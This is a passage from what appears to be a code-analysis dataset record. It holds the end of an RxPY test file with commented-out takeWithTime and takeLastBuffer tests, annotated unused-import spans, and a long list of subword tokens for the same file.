xs.takeWithTime(25, scheduler)\n\n# res.messages.assert_equal(on_next(210, 1), on_next(220, 2), on_completed(225))\n# xs.subscriptions.assert_equal(subscribe(200, 225))\n\n# def test_Take_Late():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_completed(230))\n# res = scheduler.start(create)\n# return xs.takeWithTime(50, scheduler)\n\n# res.messages.assert_equal(on_next(210, 1), on_next(220, 2), on_completed(230))\n# xs.subscriptions.assert_equal(subscribe(200, 230))\n\n# def test_Take_Error():\n# var ex, res, scheduler, xs\n# scheduler = TestScheduler()\n# ex = 'ex'\n# xs = scheduler.create_hot_observable(on_error(210, ex))\n# res = scheduler.start(create)\n# return xs.takeWithTime(50, scheduler)\n\n# res.messages.assert_equal(on_error(210, ex))\n# xs.subscriptions.assert_equal(subscribe(200, 210))\n\n# def test_Take_Never():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable()\n# res = scheduler.start(create)\n# return xs.takeWithTime(50, scheduler)\n\n# res.messages.assert_equal(on_completed(250))\n# xs.subscriptions.assert_equal(subscribe(200, 250))\n\n# def test_Take_Twice1():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_next(240, 4), on_next(250, 5), on_next(260, 6), on_completed(270))\n# res = scheduler.start(create)\n# return xs.takeWithTime(55, scheduler).takeWithTime(35, scheduler)\n\n# res.messages.assert_equal(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(235))\n# xs.subscriptions.assert_equal(subscribe(200, 235))\n\n# def test_Take_Twice2():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_next(240, 4), on_next(250, 5), on_next(260, 6), on_completed(270))\n# res = scheduler.start(create)\n# return xs.takeWithTime(35, scheduler).takeWithTime(55, scheduler)\n\n# res.messages.assert_equal(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(235))\n# xs.subscriptions.assert_equal(subscribe(200, 235))\n\n\n\n\n# // TakeLast\n\n\nif __name__ == '__main__':\n test_buffer_with_time_or_count_basic()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class RxException(Exception):\n pass", "metadata": "root.RxException", "header": "['module', '___EOS___']", "index": 20 }, { "content": "def _raise(ex):\n raise RxException(ex)", "metadata": "root._raise", "header": "['module', '___EOS___']", "index": 24 } ]
[ { "span": "from rx import Observable", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 25 }, { "span": "from rx.testing import TestScheduler, ReactiveTest, is_prime, MockDisposable", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 76 }, { "span": "from rx.disposables import Disposable, SerialDisposable", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 55 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", ",_", "timedelta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "rx_", "import_", "Observable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rx_", "._", "testing_", "import_", "Test", "Scheduler_", ",_", "React", "ive", "Test_", ",_", "is", "\\u", "prime_", ",_", "Moc", "k", "Dispo", "sab", "le_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rx_", "._", "dispo", "sab", "les_", "import_", "Dispo", "sab", "le_", ",_", "Ser", "ial", "Dispo", "sab", "le_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "FORMAT_", "=_", "'%", "(", "asc", "time", ")-", "15", "s", " ", "%", "(", "thread", "Name", ")", "s", " ", "%", "(", "message", ")", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "basic", "Config_", "(_", "filename_", "=_", "'", "rx", ".", "log", "'_", ",_", "format_", "=_", "FORMAT_", ",_", "level_", "=_", "logging_", "._", "DEBUG_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "logg", "ing", ".", "basic", "Config", "(", "format", "=", "FORMAT", ",", " ", "level", "=", "logg", "ing", ".", "DEBU", "G", ")_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "Rx", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "completed_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "completed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "error_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscribe_", "=_", "React", "ive", "Test_", "._", "subscribe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscribed", "_", "=_", "React", "ive", "Test_", "._", "subscribed", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dispose", "d_", "=_", "React", "ive", "Test_", "._", "dispose", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created_", "=_", "React", "ive", "Test_", "._", "created_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Help", "er", " ", "function", " ", "for", " ", "rais", "ing", " ", "exception", "s", " ", "within", " ", "lambda", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "//", " ", "Tak", "e", "Las", "t", "Buffer_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "Zero", "1", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "0", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "230", ",", " ", "function", " ", "(", "lst", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "lst", ".", "length", " ", "===", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "})", ",", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "Zero", "2", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "0", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "230", ",", " ", "function", " ", "(", "lst", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "lst", ".", "length", " ", "===", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "})", ",", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "function", " ", "array", "Equal", "(", "arr", "1", ",", " ", "arr", "2", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "(", "arr", "1", ".", "length", " ", "!=", " ", "arr", "2", ".", "length", ")", " ", "return", " ", "false_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "(", "var", " ", "i", " ", "=", " ", "0", ",", " ", "len", " ", "=", " ", "arr", "1", ".", "length", " ", "i", " ", "<", " ", "len", " ", "i", "++", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "if", " ", "(", "arr", "1", "[", "i", "]", " ", "!=", " ", "arr", "2", "[", "i", "])", " ", "return", " ", "false_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "true_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "Some", "1", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "complete", "d", "(", "240", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "25", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "240", ",", " ", "function", " ", "(", "lst", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "array", "Equal", "(", "lst", ",", " ", "[", "2", ",", " ", "3", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "})", ",", " ", "on", "\\u", "complete", "d", "(", "240", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "240", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "Some", "2", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "complete", "d", "(", "300", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "25", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "300", ",", " ", "function", " ", "(", "lst", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "lst", ".", "length", " ", "===", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "})", ",", " ", "on", "\\u", "complete", "d", "(", "300", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "300", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "Some", "3", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "next", "(", "240", ",", " ", "4", "),", " ", "on", "\\u", "next", "(", "250", ",", " ", "5", "),", " ", "on", "\\u", "next", "(", "260", ",", " ", "6", "),", " ", "on", "\\u", "next", "(", "270", ",", " ", "7", "),", " ", "on", "\\u", "next", "(", "280", ",", " ", "8", "),", " ", "on", "\\u", "next", "(", "290", ",", " ", "9", "),", " ", "on", "\\u", "complete", "d", "(", "300", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "4", "5", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "300", ",", " ", "function", " ", "(", "lst", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "array", "Equal", "(", "lst", ",", " ", "[", "6", ",", " ", "7", ",", " ", "8", ",", " ", "9", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "})", ",", " ", "on", "\\u", "complete", "d", "(", "300", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "300", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "Some", "4", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "240", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "250", ",", " ", "3", "),", " ", "on", "\\u", "next", "(", "280", ",", " ", "4", "),", " ", "on", "\\u", "next", "(", "290", ",", " ", "5", "),", " ", "on", "\\u", "next", "(", "300", ",", " ", "6", "),", " ", "on", "\\u", "complete", "d", "(", "350", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "25", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "350", ",", " ", "function", " ", "(", "lst", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "lst", ".", "length", " ", "===", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "})", ",", " ", "on", "\\u", "complete", "d", "(", "350", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "350", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "All", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "50", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "230", ",", " ", "function", " ", "(", "lst", ")", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "array", "Equal", "(", "lst", ",", " ", "[", "1", ",", " ", "2", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "})", ",", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "Error", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "ex", ",", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ex", " ", "=", " ", "'", "ex", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "error", "(", "210", ",", " ", "ex", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "50", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "error", "(", "210", ",", " ", "ex", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "210", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "\\u", "Never", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "Las", "t", "Buffer", "\\u", "with", "\\u", "time", "(", "50", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "1000", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "Tak", "e\\u", "Zero", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "With", "Time", "(", "0", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "complete", "d", "(", "201", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "201", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "Tak", "e\\u", "Some", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "complete", "d", "(", "240", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "With", "Time", "(", "25", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "complete", "d", "(", "225", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "225", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "Tak", "e\\u", "Late", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "With", "Time", "(", "50", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "complete", "d", "(", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "230", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "Tak", "e\\u", "Error", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "ex", ",", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ex", " ", "=", " ", "'", "ex", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "error", "(", "210", ",", " ", "ex", 